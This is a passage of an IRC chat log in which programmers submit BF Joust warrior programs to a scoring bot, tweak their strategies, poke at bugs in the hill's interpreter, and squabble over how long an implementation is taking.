to impomatic. 22:01:46 oh, the backslash? 22:01:54 pikhq: < 22:01:56 Yeah, but it's fixed now, that shouldn't cause issues. 22:01:59 i didn't realize iw as on my altnick 22:02:03 -!- myndzi\ has changed nick to nescience. 22:02:05 when i sent it 22:02:10 and then it responded and i thought crap! 22:02:18 tried to fix it, but with all the defenders, the ties kept it on the board 22:02:34 Ahah. 22:02:39 Due to its confusion, when it finally erased one it was the good one :P 22:02:41 what 22:02:42 Which I put back. 22:02:45 slowrush lost to mirage? :( 22:02:55 ah 22:02:59 that's why! 22:03:00 Oh noes, a single loss 22:03:06 What a terrible failure 22:03:08 it's unacceptable 22:03:18 What about the two ties! 22:03:21 can't fix those 22:03:28 without a better interpreter or bogging down the bot 22:03:31 And you're losing to shade, too 22:03:34 or an idea i don't have yet 22:03:38 shade is mine :> i don't care! 22:03:40 :-P 22:03:47 !bfjoust ()*-2 22:03:47 Use: !bfjoust 22:03:48 i think i'll stick to the 3 ties 1 loss 22:03:50 !bfjoust foo! ()*-2 22:03:51 instead of 2 ties 2 losses 22:03:54 Score for AnMaster_foo_: 30.6 22:04:01 how did it expand 22:04:11 !bfjoust foo! (*[]) 22:04:15 Score for AnMaster_foo_: 0.0 22:04:20 um what 22:04:21 it must have got lucky when i first tried the updated slowrush 22:04:24 !bfjoust foo! (*,[]) 22:04:25 it beat mirage 22:04:28 Score for AnMaster_foo_: 0.0 22:04:31 !bfjoust foo! (*+[]) 22:04:35 Score for AnMaster_foo_: 0.0 22:04:37 hm 22:04:38 i'll have to think of another way to beat the reflected slowrush 22:04:44 AnMaster: (x)*number -> x repeated number times 22:04:54 Deewiant, yes I'm trying to break it 22:04:58 by providing nonsense 22:05:03 !bfjoust foo! (*{}{\}+[]) 22:05:07 Score for AnMaster_foo_: 0.0 22:05:12 !bfjoust foo! +(*{}{\}+[])*1 22:05:15 Score for AnMaster_foo_: 28.1 22:05:23 WAAAT 22:05:40 !bfjoust foo! +(*{}{\+[])*1 22:05:40 AnMaster: If it breaks you get 0, I guess it might read some of them as comments 22:05:44 Score for AnMaster_foo_: 32.0 22:05:47 huh 22:06:00 hehe 22:06:02 cheap trick but it worked 22:06:09 nescience, what trick 22:06:13 and it beats shade now! 22:06:22 but not the shade reflection 22:06:24 jesus ehird 22:06:34 !bfjoust foo! -(*{}{\+[])%1 22:06:36 Score for AnMaster_foo_: 52.5 22:06:44 Nae bad. 22:06:45 O_o 22:06:49 parser error 22:06:54 -!- psygnisf_ has joined. 22:06:56 !bfjoust foo! -(*{}{}\+[])%1 22:07:01 Score for AnMaster_foo_: 29.9 22:07:08 GregorR-L: That had to be a bug 22:07:08 -!- psygnisfive has quit (Connection reset by peer). 22:07:11 0 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 | 52.6 | 0 | AnMaster_foo_.bfjoust 22:07:11 whatever, good enough for now 22:07:13 I want to know what that actually did though :P 22:07:22 18 | + 0 + + + + + + + + 0 - + + + + + + + | 90.0 | 15 | myndzi_slowrush.bfjoust 22:07:23 booyeah :> 22:07:24 Oh 22:07:25 Heh 22:07:35 Probably segfaulted :P 22:07:42 >_< 22:07:55 GregorR, what? -(*{}{\+[])%1 segfaulted? 22:08:03 GregorR, you need more fuzz testing then! 22:08:05 AnMaster: It tied against everything 22:08:06 i'll have to consider a different way to beat the stallers without messing up my attack 22:08:07 and bug fixes 22:08:11 Deewiant, I know 22:08:26 GregorR, I expect you to fix the bug in the parser 22:08:49 !bfjoust interpreter_fail -(*{}{\+[])%1 22:08:51 Score for AnMaster_interpreter_fail: 52.5 22:08:57 yay 22:09:02 now it is on the hill 22:09:07 and will stay there for a while 22:09:25 Nope, because I just fixed the bug. 22:09:36 GregorR, sure. But you won't retcon the history! 22:09:40 Time for another POOPER SCOOPER 22:09:44 Nope. 22:09:46 Deewiant, a what 22:09:56 AnMaster: GregorR-L_pooper_scooper.bfjoust 22:10:03 !bfjoust pooper_scooper [>([{}-])%5+] 22:10:07 Score for GregorR-L_pooper_scooper: 38.9 22:10:08 Deewiant, what does it do 22:10:20 !bfjoust foo! -(*{}}\+[])%1 22:10:23 Dobleve te efe? D-8 22:10:24 Score for AnMaster_foo_: 31.4 22:10:26 Looks like a basic attacker 22:10:31 But the bug wasn't fixed :-P 22:10:32 interpreter_fail is still there! D-8 22:10:44 GregorR-L: It tied against everything except pooper scooper :-D 22:10:53 because error = tie 22:10:54 Do you rerun old results? 22:10:54 which shouldn't be 22:10:57 Oh duh, it's cached. 22:10:58 error should = loss 22:11:09 nescience: I guess he can't tell which one errored 22:11:30 !bfjoust pooper_scooper [>([{}-])%5+] 22:11:36 Score for GregorR-L_pooper_scooper: 35.7 22:11:42 Thar. 22:11:55 !bfjoust foo! -(*+[])%1 22:11:59 Score for AnMaster_foo_: 0.2 22:12:05 nice 22:12:12 It tied against interpreter_fail P 22:12:14 :P 22:12:23 GregorR, why did you rerun the interpreter fail one 22:12:34 you reconned the history 22:12:34 :( 22:12:36 There were only 20 on the hill at the time. 22:12:39 It's not a rerun, it's on the hill 22:12:43 I didn't retcon any history. 22:12:53 just need to validate programs beforehand or something 22:13:16 GregorR-L, you did. The ties should be the same. Or do you rerun them all every time. All against all other ones? 22:13:29 Oh, I removed the cache, yes. 22:13:31 Right. 22:13:37 GregorR, you altered history 22:13:38 :( 22:13:41 fail 22:13:44 I'll alter your face. 22:13:56 GregorR, retcon is evil! 22:14:13 History wasn't altered; these programs are all pure, right? 22:14:21 Deewiant, ... 22:14:25 Should be, except when I fix bugs :P 22:14:26 Same output for the same input 22:14:35 Deewiant, no 22:14:41 since tape length is random 22:14:44 !bfjoust pooper_scooper [>+[+-]] 22:14:48 Score for GregorR-L_pooper_scooper: 22.9 22:14:53 AnMaster: It depends only on the sources of the two combatants 22:14:55 lollame 22:14:57 thus removing the cache will always alter programs 22:15:00 AnMaster: Nope 22:15:02 Deewiant, hm 22:15:18 The tape length is generated from the source of the two programs. 22:15:20 still. He altered history 22:15:34 !bfjoust foo! (()%1)%1 22:15:35 No, the programs are pure so it's impossible for history to have changed 22:15:37 Score for AnMaster_foo_: 0.2 22:15:39 !bfjoust pooper_scooper [>([{}-])%10+] 22:15:42 Since it's impossible it didn't happen :-P 22:15:43 Score for GregorR-L_pooper_scooper: 30.7 22:15:58 interpreter_fail won't go away :P 22:16:04 Meh, why does train2 have such a low score 22:16:04 GregorR, don't you dare push it off! 22:16:04 (Until somebody actually ADDS a better one) 22:16:11 !bfjoust train3 (>(-)*10)*4(>(+)*10)*4>>([>][[-][-]>+])*27 22:16:13 There you go 22:16:15 Score for Deewiant_train3: 23.6 22:16:22 BETTER ENOUGH :P 22:16:28 Or wait, was it there already 22:16:32 :-E 22:16:42 !bfjoust amazingly_useless >+[<>] 22:16:46 Score for GregorR-L_amazingly_useless: 18.6 22:16:53 GregorR, don't you dare push it off by hand! 22:16:58 meh 22:16:58 It's gone now 22:17:02 :((((((((((((((((( 22:17:03 AnMaster: It was pushed off by report.c :P 22:17:12 GregorR, retconning history 22:17:18 evil revisionist! 22:17:22 Meh, nescience/myndzi owns the whole hill 22:17:38 !bfjoust (( 22:17:38 Use: !bfjoust 22:17:41 !bfjoust (( (( 22:17:45 Score for AnMaster___: 0.0 22:17:57 !bfjoust %999999999999999999999999999999999999999999999999999999999 22:17:58 Use: !bfjoust 22:18:01 !bfjoust t %999999999999999999999999999999999999999999999999999999999 22:18:05 Score for AnMaster_t: 28.5 22:18:07 how 22:18:13 !bfjoust AnMaster_is_a_loser (.)*10[>(+)*128] 22:18:14 -!- Patashu has joined. 22:18:17 Score for GregorR-L_AnMaster_is_a_loser: 17.0 22:18:17 GregorR-L: any idea if it really was my program that broke things earlier? 22:18:18 !bfjoust q [] 22:18:21 GregorR, I aim for low 22:18:21 or was it the messin around after that 22:18:22 Score for Deewiant_q: 32.6 22:18:28 q > t 22:18:29 nescience: Which? 22:18:33 if it's not gonna break things i'd still like to try and fix those ties 22:18:39 GregorR-L: the one with the nested *3000's 22:18:55 nescience: Oh, it wasn't yours, it was another. Should be fine. 22:18:57 the bot was out of commission so long i figured maybe it wasn't lag, maybe something else was wrong 22:19:00 nescience: Given that the admin is here now it's fairly safe to try ;-) 22:19:00 ah ok 22:19:03 i'll play with it later 22:19:07 !bfjoust t2 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:19:11 Score for AnMaster_t2: 52.5 22:19:13 hm 22:19:14 i don't think i need 3000 after all anyway 22:19:21 GregorR-L: Your interp is a pile of bugs 22:19:22 ok 22:19:24 that is nice 22:19:25 that was just because i thought i wasn't looping enough 22:19:27 GregorR-L, ^ 22:19:39 GregorR-L, don't clear the cache this time! 22:19:40 when it was a different problem entirely 22:19:53 wtfbbq 22:19:56 lol 22:19:57 apparantly 22:20:04 tieing everything gives you a REALLY good score 22:20:14 Patashu: A tie is better than a loss. 22:20:27 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*128)*21[-]((-)*2048(+)*2048.)*2 22:20:31 Score for Patashu_lazy: 35.1 22:20:31 !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 22:20:32 !bfjoust interpreter_fail2 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:20:36 Score for AnMaster_interpreter_fail2: 52.4 22:20:37 Score for Patashu_matador: 35.3 22:20:38 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 22:20:42 Score for Patashu_waiter: 48.6 22:20:45 !bfjoust juggernaut +(>(-)*128.--++)*29 22:20:49 Score for Patashu_juggernaut: 31.0 22:20:51 !bfjoust electrictrain (>(+)*10)*4(>(-)*10)*5([-][-][+][+]>)*20 22:20:54 Score for Patashu_electrictrain: 28.8 22:21:02 !bfjoust push_them_off1 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:21:05 !bfjoust push_them_off2 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:21:05 Score for AnMaster_push_them_off1: 52.5 22:21:07 !bfjoust push_them_off3 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:21:08 Score for AnMaster_push_them_off2: 52.5 22:21:12 Score for AnMaster_push_them_off3: 52.5 22:21:14 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*27 22:21:14 !bfjoust yes_jerk >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:21:20 Score for AnMaster_yes_jerk: 52.4 22:21:20 Score for Deewiant_train2: 37.1 22:21:21 (I won't do more) 22:21:29 still 22:21:34 you know 22:21:34 Hey, you ass, you killed sloth 22:21:40 I guess he will just retcon history 22:21:41 I'll have to dig into text files to find its source again 22:21:42 saying *number where number is greater than 386000 22:21:42 so not an issue 22:21:43 is pointless 22:21:51 Deewiant, it scored worse than all draws 22:22:00 Patashu, why 386000 22:22:02 AnMaster: All draws is fairly good 22:22:08 Patashu: 100k is the turn limit 22:22:08 that's the max number of cycles 22:22:11 ah 22:22:12 not when they aren't draws but broken programs 22:22:16 Patashu: It's 100k 22:22:20 oh 22:22:22 it got lowered? 22:22:31 Beats me, but that's what it is :-P 22:22:34 7 37.07 -5 Deewiant_train2.bfjoust 22:22:35 Dunno what it used to be 22:22:35 hm 22:22:48 Deewiant, if I pushed off sloth it must have been very bad 22:22:53 so good riddance of me 22:22:55 ;P 22:22:55 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100(>)*8+([>[-]+])*100 22:22:58 Score for Deewiant_sloth: 40.5 22:23:05 and he should test them properly 22:23:09 AnMaster: I repeat; all draws is good 22:23:22 7 37.07 -5 Deewiant_train2.bfjoust 22:23:25 !bfjoust pooper_scooper [>([{}-])%10+] 22:23:26 that one was bad though 22:23:33 Score for GregorR-L_pooper_scooper: 37.4 22:23:38 AnMaster: It used to be over 50 22:23:42 -!- impomatic has left (?). 22:24:20 AnMaster: And I'd like to see you do better without abusing bugs before complaining :-P 22:24:31 is that bug abuse? 22:24:36 GregorR, please can has formal verification next time, mkay? 22:24:37 :P 22:24:48 AnMaster: No. 22:24:50 Patashu: All those all-drawers are causing the interp to crash 22:24:56 -!- olsner has quit ("Leaving"). 22:24:57 Patashu: Which is why they draw :-P 22:25:00 that is, next time I manage to crash it. you have to do a full formal verification. 22:25:04 oh XD 22:25:16 AnMaster: No. 22:25:29 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*10[+[-]]+.--.++>(-)*10[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 22:25:33 Score for Patashu_rushpolarity: 42.2 22:25:38 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*128)*21[-]((-)*2048(+)*2048.)*2 22:25:42 Score for Patashu_lazy: 36.0 22:25:43 !bfjoust hm_this_should_be_good_since_it_will_draw_against_the_other_ones1 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:25:45 !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 22:25:46 !bfjoust hm_this_should_be_good_since_it_will_draw_against_the_other_ones2 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:25:49 !bfjoust hm_this_should_be_good_since_it_will_draw_against_the_other_ones3 >+>+>(+{(-)*999999999999999999999999999999999999999999999999999999999999999}+)%999999999999999999999999999999999999999999999999999999999 22:25:49 Score for AnMaster_hm_this_should_be_good_since_it_will_draw_against_the_other_ones1: 25.7 22:25:50 Score for Patashu_matador: 35.8 22:25:51 Score for AnMaster_hm_this_should_be_good_since_it_will_draw_against_the_other_ones2: 25.7 22:25:53 Score for AnMaster_hm_this_should_be_good_since_it_will_draw_against_the_other_ones3: 25.3 22:25:55 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 22:25:59 hm 22:25:59 Score for Patashu_waiter: 49.4 22:26:00 nice 22:26:01 !bfjoust juggernaut +(>(-)*128.--++)*29 22:26:05 Score for Patashu_juggernaut: 26.2 22:26:20 so 22:26:56 !bfjoust test (+)*100000 22:27:00 Score for AnMaster_test: 41.8 22:27:09 O_o 22:27:15 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*5000(-)*5000(+-)*5000(-+)*5000(>)*8(>(-.)*128)*20 22:27:19 Score for Patashu_waiter: 47.8 22:27:23 Deewiant, it clearly prevents it being 0 twice in a row a lot 22:27:23 Well, makes sense I guess 22:27:30 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 22:27:31 Since most programs try to kill with a [-] 22:27:34 Score for Patashu_waiter: 48.1 22:27:34 yeah 22:27:54 Patashu: Given 100k, there's some pointlessness there :-P 22:27:58 !bfjoust test2 (-)*100002 22:28:00 I know 22:28:01 Score for AnMaster_test2: 45.9 22:28:05 right 22:28:08 I'm trying to figure out why making it use every cycle hurts it :/ 22:28:14 !bfjoust test2 - 22:28:15 !bfjoust test - 22:28:17 Because of the randomization, I guess 22:28:19 Score for AnMaster_test: 34.6 22:28:19 Score for AnMaster_test2: 34.6 22:28:20 to take them down 22:28:37 Hmm, wat 22:28:38 !bfjoust mad_changer (-)*100001 22:28:41 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(>)*8(>(-.)*128)*20 22:28:42 that is the real name of it 22:28:43 Score for AnMaster_mad_changer: 36.1 22:28:45 Score for Patashu_waiter: 43.2 22:28:49 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 22:28:51 Oh right 22:28:53 Score for Patashu_waiter: 45.3 22:28:55 !bfjoust mad_changer (-)*100002 22:28:56 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*10(>)*8+([>[-]+])*100 22:29:00 Score for AnMaster_mad_changer: 44.9 22:29:00 Score for Deewiant_sloth: 24.1 22:29:03 Hmm 22:29:03 Good lawd 22:29:06 why 22:29:12 !bfjoust sloth (+)*12((++-)*128-(--+)*128)*100(>)*8+([>[-]+])*100 22:29:15 Score for Deewiant_sloth: 23.5 22:29:23 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100 22:29:27 Score for Deewiant_sloth: 30.5 22:29:31 !bfjoust mad_changer (-)*100002 22:29:32 Odd. 22:29:35 Score for AnMaster_mad_changer: 43.2 22:29:38 !bfjoust mad_changer (-)*100001 22:29:40 hm 22:29:41 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*128(>)*8+([>[-]+])*100 22:29:43 Score for AnMaster_mad_changer: 35.6 22:29:45 Score for Deewiant_sloth: 40.9 22:29:46 trying to find optimal value 22:29:50 !bfjoust mad_changer (-)*100003 22:29:54 Score for AnMaster_mad_changer: 44.7 22:29:55 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100(>)*8+([>[-]+])*100 22:29:56 ok 22:29:59 Score for Deewiant_sloth: 41.0 22:29:59 I'll stop at that 22:30:50 anyway I think it is valid to go for the insane approach! 22:31:11 Insane? 22:31:12 !bfjoust test >+>+<<<(-)*100003 22:31:16 Score for AnMaster_test: 0.0 22:31:19 what 22:31:23 !bfjoust test >+>+<<(-)*100003 22:31:24 >><<< -> lose 22:31:25 ah 22:31:28 Score for AnMaster_test: 47.2 22:31:50 !bfjoust test >+>+<<(-)*99994 22:31:52 that is ncie 22:31:55 Score for Deewiant_test: 43.2 22:31:56 !bfjoust test < 22:32:00 Score for Deewiant_test: 0.0 22:32:07 I hate randomness :-P 22:32:26 same 22:32:34 !bfjoust mad_changer2 >+>+<<(-)*100003 22:32:38 Remove dead instructions -> oops, they affected the randomizer so now you lost against this dude 22:32:39 Score for AnMaster_mad_changer2: 47.0 22:33:01 !bfjoust test + 22:33:05 Score for AnMaster_test: 31.2 22:33:18 I use test as my "working" copy. and then name the good ones properly 22:33:27 just fyi 22:34:11 !bfjoust test {}*2 22:34:14 Score for AnMaster_test: 34.8 22:34:15 !bfjoust farmhand (-+)*50000 22:34:20 Score for Deewiant_farmhand: 36.0 22:34:32 !bfjoust test >({+})*2 22:34:36 Score for AnMaster_test: 26.6 22:34:42 !bfjoust farmhand (+-)*50000 22:34:46 Score for Deewiant_farmhand: 36.1 22:34:55 Deewiant, that does make a difference though 22:35:26 !bfjoust farmhand (+-)*25000(-+)*25000 22:35:30 Score for Deewiant_farmhand: 36.1 22:35:35 I wonder how the mad changer can ever lose against any of them 22:35:38 that is strange 22:35:46 Deewiant, stop being silly 22:35:58 Silly? 22:36:01 yeah 22:36:12 you are just experimenting with randomness right? 22:36:16 the mad changer can lose against an opponent that does not zero using a loop 22:36:18 No 22:36:21 22:06 nescience: jesus ehird ←wut 22:36:25 Patashu, oh? 22:36:36 if an opponent gets it onto 0 then uses + it wins 22:36:42 so you just need a creative non-loop based attack 22:36:44 Patashu, ok... 22:36:45 -!- inurinternet has joined. 22:36:48 22:08 AnMaster: GregorR, I expect you to fix the bug in the parser ←AnMaster expecting things since 198x 22:36:52 -!- Taejo has quit ("Leaving"). 22:37:02 !bfjoust killa [>[+]-] 22:37:05 Score for Deewiant_killa: 26.0 22:37:16 AnMaster: ^ beats mad changers 22:37:17 ehird, your mom didn't expect you I guess... 22:37:24 meh 22:37:40 AnMaster: ...what? 22:37:44 is that meant to be an insult 22:37:45 because it's really bad 22:37:53 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>+])*27 22:37:55 !mad_changer2 >+>--<<(+)*100003 22:37:57 Score for Deewiant_maglev: 37.5 22:38:07 ... 22:38:08 well? 22:38:20 !mad_changer2 isn't a command 22:38:27 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[+][+]>+])*27 22:38:30 Score for Deewiant_maglev: 27.4 22:38:34 !bfjoust mad_changer3 >+>--<<(+)*100003 22:38:39 Score for AnMaster_mad_changer3: 38.9 22:38:43 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>-])*27 22:38:44 huh 22:38:47 Score for Deewiant_maglev: 32.8 22:38:58 !bfjoust mad_changer3 >+>-->+<<<(+)*100003 22:39:03 Score for AnMaster_mad_changer3: 32.7 22:39:03 !bfjoust maglev (>(-)*10)*3(>(+)*10)*3(>)*4+([[-][+]>+])*27 22:39:07 Score for Deewiant_maglev: 31.5 22:39:10 !bfjoust mad_changer3 >+>-->>+<<<<(+)*100003 22:39:15 Score for AnMaster_mad_changer3: 31.5 22:39:15 !bfjoust maglev (>(-)*10)*2(>(+)*10)*2(>)*6+([[-][+]>+])*27 22:39:19 Score for Deewiant_maglev: 31.3 22:39:23 !bfjoust maglev (>(-)*10)*5(>(+)*10)*5(>)*0+([[-][+]>+])*27 22:39:27 Score for Deewiant_maglev: 23.8 22:39:37 !bfjoust mad_changer3 >+>-->>+<<<<(+)*100000 22:39:42 Score for AnMaster_mad_changer3: 34.1 22:39:43 !bfjoust maglev (>(-)*10)*1(>(+)*10)*1(>)*8+([[-][+]>+])*27 22:39:47 Score for Deewiant_maglev: 26.5 22:39:51 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4(>)*2+([[-][+]>+])*27 22:39:55 Score for Deewiant_maglev: 29.4 22:40:12 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>+])*27 22:40:15 Deewiant, how does it work? 22:40:17 Score for Deewiant_maglev: 37.0 22:40:19 O_o 22:40:29 (>)*2 to >> improved that quite a bit, sigh 22:40:31 !bfjoust mad_changer4 >+>-->>++<<<<(+)*100003 22:40:35 Score for AnMaster_mad_changer4: 37.3 22:40:42 AnMaster: Sets up a few decoys then attacks 22:40:46 Nothing special 22:40:57 Magggnetic levitttation 22:40:58 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>+])*30 22:41:00 Deewiant: my interp has noooooooo randomness 22:41:01 Score for Deewiant_maglev: 46.0 22:41:10 Right, whatever. 22:41:10 22:33 AnMaster: I use test as my "working" copy. and then name the good ones properly ← stop messing up the hill 22:41:14 ehird, I'm waiting for it 22:41:20 develop in-place 22:41:20 ehird: That doesn't mess anything up 22:41:26 Deewiant: does in my mind :)))))) 22:41:27 ehird, I don't yet know what it will be then 22:41:33 AnMaster: And you wrote cfunge in a day, didn't you? 22:41:35 ehird: But doesn't actually :))))))) 22:41:38 ehird, I didn't 22:41:45 Hey ehird! Finished that code? No? Hehehehehe, you're a slacker who never does anything. 22:41:47 (5 minutes pass) 22:41:48 ehird, but what has that got to do with it 22:41:48 Hey ehird! Finished that code? No? Hehehehehe, you're a slacker who never does anything. 22:41:58 what has that got to do with the hill 22:42:05 ehird, one major difference 22:42:05 AnMaster: I was not talking about the hill. 22:42:19 ehird, you are talking about how your will solve it all the time 22:42:24 wait 22:42:26 I never did that with cfunge 22:42:27 what's the current interp glitch? 22:42:28 AnMaster: It's called being silly. 22:42:34 Patashu, there is none? 22:42:37 Patashu: randomosity & no polarity 22:42:54 Neither of those are glitches, they're just definitional :P 22:43:08 Yes, but they're nice to not have. 22:43:22 -!- ais523 has joined. 22:43:25 Hi ais523. 22:43:33 hi 22:44:10 ehird: What'll you do about randomosity 22:44:25 Deewiant: For two challengers, run every combination of (tape_length,polarity). 22:44:26 Take the mean. 22:44:36 This requires a fast implementation. :) 22:44:36 ah 22:44:37 (42 runs) 22:44:42 so you ARE doing the change polarity thing I mentioned :) 22:44:43 hehe 22:44:44 !bfjoust test >+>+>+>+>+>+>+>+>+>+>-->+>>+>+>+>+>+>-+>+++>>++>+>+<<<<<<<<<<<<<<<<<<<<<<<(+)*1000000 22:44:45 Patashu: yep 22:44:48 Score for AnMaster_test: 14.5 22:44:48 ehird: I'd take the stddev, too 22:44:56 Deewiant: Yeah, good idea 22:45:07 meh 22:45:25 AnMaster: I think you might run over the tape there already, on occasion 22:45:30 ah 22:45:51 !bfjoust test >+>+>+>+>+>+>+>+>+>++++>-->+>>+>+>+>+>+<<<<<<<<<<<<<<<<<(+)*1000000 22:45:55 Score for AnMaster_test: 22.1 22:46:04 !bfjoust test >+>+>+>+>+>+>+>+>+>++++>-->+>>+>+>+<<<<<<<<<<<<<<<(+)*1000000 22:46:08 Score for AnMaster_test: 33.0 22:46:11 winner_t run_match(ins_t *a, ins_t *b, polarity_t polarity, int tape_length); 22:46:13 Let's gooooooooooo 22:46:15 ... wait. 22:46:17 !bfjoust test >+>+>+>+>+>+>+>+>+>++++>-->+>>+>+<<<<<<<<<<<<<<(+)*1000000 22:46:19 That should go in a match_t structure. 22:46:22 Score for AnMaster_test: 42.1 22:46:27 * ehird underlines "When in doubt, add another data structure." again 22:46:28 ok... 22:46:53 !bfjoust mad_changer3 >+>+>+>+>+>+>+>+>+>++++>-->+>>+>+<<<<<<<<<<<<<<(+)*1000000 22:46:57 Score for AnMaster_mad_changer3: 41.6 22:47:16 !bfjoust test (+)*1000000 22:47:20 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:47:21 Score for AnMaster_test: 48.9 22:47:22 No more sub-40s on the hill 22:47:30 point creep? 22:47:31 lol 22:47:35 !bfjoust mad_changer_4 (+)*1000000 22:47:40 Score for AnMaster_mad_changer_4: 48.1 22:47:55 10 38.50 -5 ehird_defend8mwahahaha.bfjoust 22:47:57 ytes there is 22:47:58 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*10[+[-]]+.--.++>(-)*10[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 22:47:59 yes* 22:48:01 Score for Patashu_rushpolarity: 42.9 22:48:11 hi ais523 22:48:16 hi AnMaster 22:48:17 AnMaster: Remove test first when you copy it to a named one, or you drop an extra program off the hill 22:48:25 Deewiant, ah good pont 22:48:26 See? 22:48:29 Test ftl :P 22:48:30 !bfjoust test < 22:48:32 Score for AnMaster_test: 0.0 22:48:34 there we go 22:48:39 ah 22:48:45 that's how you remove it :) 22:48:46 has the hill been enlarged? 22:48:47 ehird, I don't know what I'm developing 22:48:56 until I hit a good one 22:48:56 AnMaster: Just name it something random! 22:48:58 ais523: Size 20 as of 16 hours ago 22:49:01 ehird, I refuse to 22:49:05 ais523: Yeah, and Gregor made a new implementation. 22:49:09 But I'm making a new new implementation :P 22:49:17 (Gregor's is just faster, nothing else) 22:49:24 yes he is 22:49:27 http://narf.at/pix/ab1512bd2a6df0270a9a4320103c4cac21e4f018.jpeg 22:49:42 AnMaster: Yes he is what? 22:49:43 Deewiant, :DDDDDDDDDDDDDd 22:49:47 Deewiant: Old 22:49:49 ehird, faster 22:49:55 AnMaster: "he"? 22:49:57 Whhhhhhat 22:50:00 Do you give programs genders? 22:50:03 GregorR, ... 22:50:05 he is faster 22:50:07 -_- 22:50:16 than you 22:50:18 at coding it 22:50:32 GregorR-L: how long did it take you to code it, perchance? 22:50:34 5 minutes? 22:50:41 No? Guess you're too slow for SPEEDY AnMaster 22:50:48 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 22:50:49 ehird, well, he started after you did. And you aren't yet done 22:50:59 you started yesterday 22:51:06 so did he, but later 22:51:15 Because I've done other things, goddamn you impatient bastard. And his interp is just a trivial reimplementation. 22:51:23 Because I've done other things, goddamn you impatient bastard. And his interp is just a trivial reimplementation. 22:51:31 I'm not the one who wants it 22:51:37 I'm really tired of HEY EHIRD YOU'RE TALKING MORE THAN A FEW MINUTES TO IMPLEMENT IT YOU'RE SO SLOOOOOW GREGOR IS SO FASTER YOU SUCK 22:51:39 Stop it. 22:51:54 ehird, you are misrepresenting my opinions here 22:52:08 Sorry, you don't say "YOU SUCK". Scratch that part. 22:52:15 ehird, nor the other parts 22:52:22 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-.][+.]>+])*30 22:52:24 Score for Deewiant_maglev: 38.0 22:52:26 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-.][+.]>])*30 22:52:28 Then me and clog must be hallucinating. 22:52:29 Score for Deewiant_maglev: 19.5 22:52:31 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-.][+.]>])*40 22:52:34 Score for Deewiant_maglev: 31.0 22:52:45 ehird, you began it yesterday right? 22:52:46 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-.][+.]>]+)*40 22:52:48 Score for Deewiant_maglev: 38.0 22:52:50 ehird, so did GregorR 22:53:03 AnMaster: I DON'T GIVE A SHIT! WHY ARE YOU TELLING ME THIS AGAIN?! 22:53:04 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-.][+]>]+)*40 22:53:05 AAAAAAAAArgh. 22:53:06 ehird, you began before GregorR yesterday 22:53:06 Score for Deewiant_maglev: 40.0 22:53:07 Oh for cripes sake, you two go sit in opposite corners. 22:53:15 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+.]>]+)*40 22:53:18 Score for Deewiant_maglev: 36.6 22:53:18 and you are claiming this is "a few minutes" 22:53:20 GregorR-L: I just don't know why the fuck he's bugging me about not implementing it as super fast as I can 22:53:21 !bfjoust maglev 